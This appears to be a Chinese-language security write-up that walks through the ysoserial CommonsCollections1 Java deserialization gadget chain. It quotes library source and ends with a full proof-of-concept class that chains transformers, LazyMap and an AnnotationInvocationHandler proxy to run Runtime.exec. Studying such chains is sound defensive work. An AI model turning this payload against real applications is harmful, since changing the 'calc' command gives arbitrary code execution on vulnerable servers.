ysoserial CommonsCollections1 分析,首先来看官方给出的Gadget分析链条
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
先跟入InvokerTransformer#transform方法
org/apache/commons/collections/functors/InvokerTransformer.java (105-134行)
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
到这里可以看到调用到了反射,iMethodName、iParamTypes、iArgs传参都为我们可控的,这样我这边就可以进行InvokerTransformer调用transform方法来调用Runtime来执行系统命令,这里就可以这样写入
package ysoserial.test;
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformertest {
public static void main(String[] args) {
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{new String("calc")});
InvokerTransformer.transform(Runtime.getRuntime());
}
}
继续跟入ChainedTransformer接口,这里定义了Transformer[]数组对象,iTransformers传入transform方法进行遍历执行
org/apache/commons/collections/functors/ChainedTransformer.java(109-125行)
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
这里来看看遍历执行了哪些操作,实例化了另一个ConstantTransformer类然后调用transform方法参数值为1然后向下执行
向下看就可以看到ConstantTransformer实例化了Runtime.class类来进行执行系统命令
现在对ChainedTransformer进行编写调用执行命令
package ysoserial.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformertest {
public static void main(String[] args) {
Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
transformerChain.transform(1);
}
}
跟进LazyMap#decorate方法
org/apache/commons/collections/map/LazyMap.java(86-88行)
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这里生明了Map,decorate传入了两个参,然后输出实例化LazyMap进行调用,跟到LazyMap里去
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
然后跟到get上去,可以看到get传递了key带入到了factory.transform中进行赋值,然后map.put执行
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
现在来看下TransformedMap类,decorate方法返回一个TransformedMap对象,其中valueTransformer是我们传入的Transformer数组
在TransformedMap类里还有一个checkSetValue重要的函数,它主要输出调用了valueTransformer.transform,现在还需要分析下readobject里面调用的setValue的入口来调用pop链,入口为:sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
this.memberValues就是我们传入的map对象,在readobject中和我们上面的pop链完全相同
现在要跟进后面关键4句代码
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
跟进LazyMap.decorate方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这里传入输出到了LazyMap,跟进去
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
调用了map和this.factory,在LazyMap中触发Transformer的是get方法
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
//-----------------------------------------------------------------------
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Gadgets.createMemoitizedProxy方法其实就是创建动态代理,返回的值就是上面的evilMap。
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
Gadgets.createMemoizedInvocationHandler方法和第一条利用链生成AnnotationInvocationHandler的实例是一样的。
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);是修改transformChain的iTransformers的值,将它替换成Transformer利用链
写个例子弹出计算器
package ysoserial.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
// 创建完动态代理后,如果直接调用evilMap.entrySet()就会弹出计算器
evilMap.entrySet();
}
}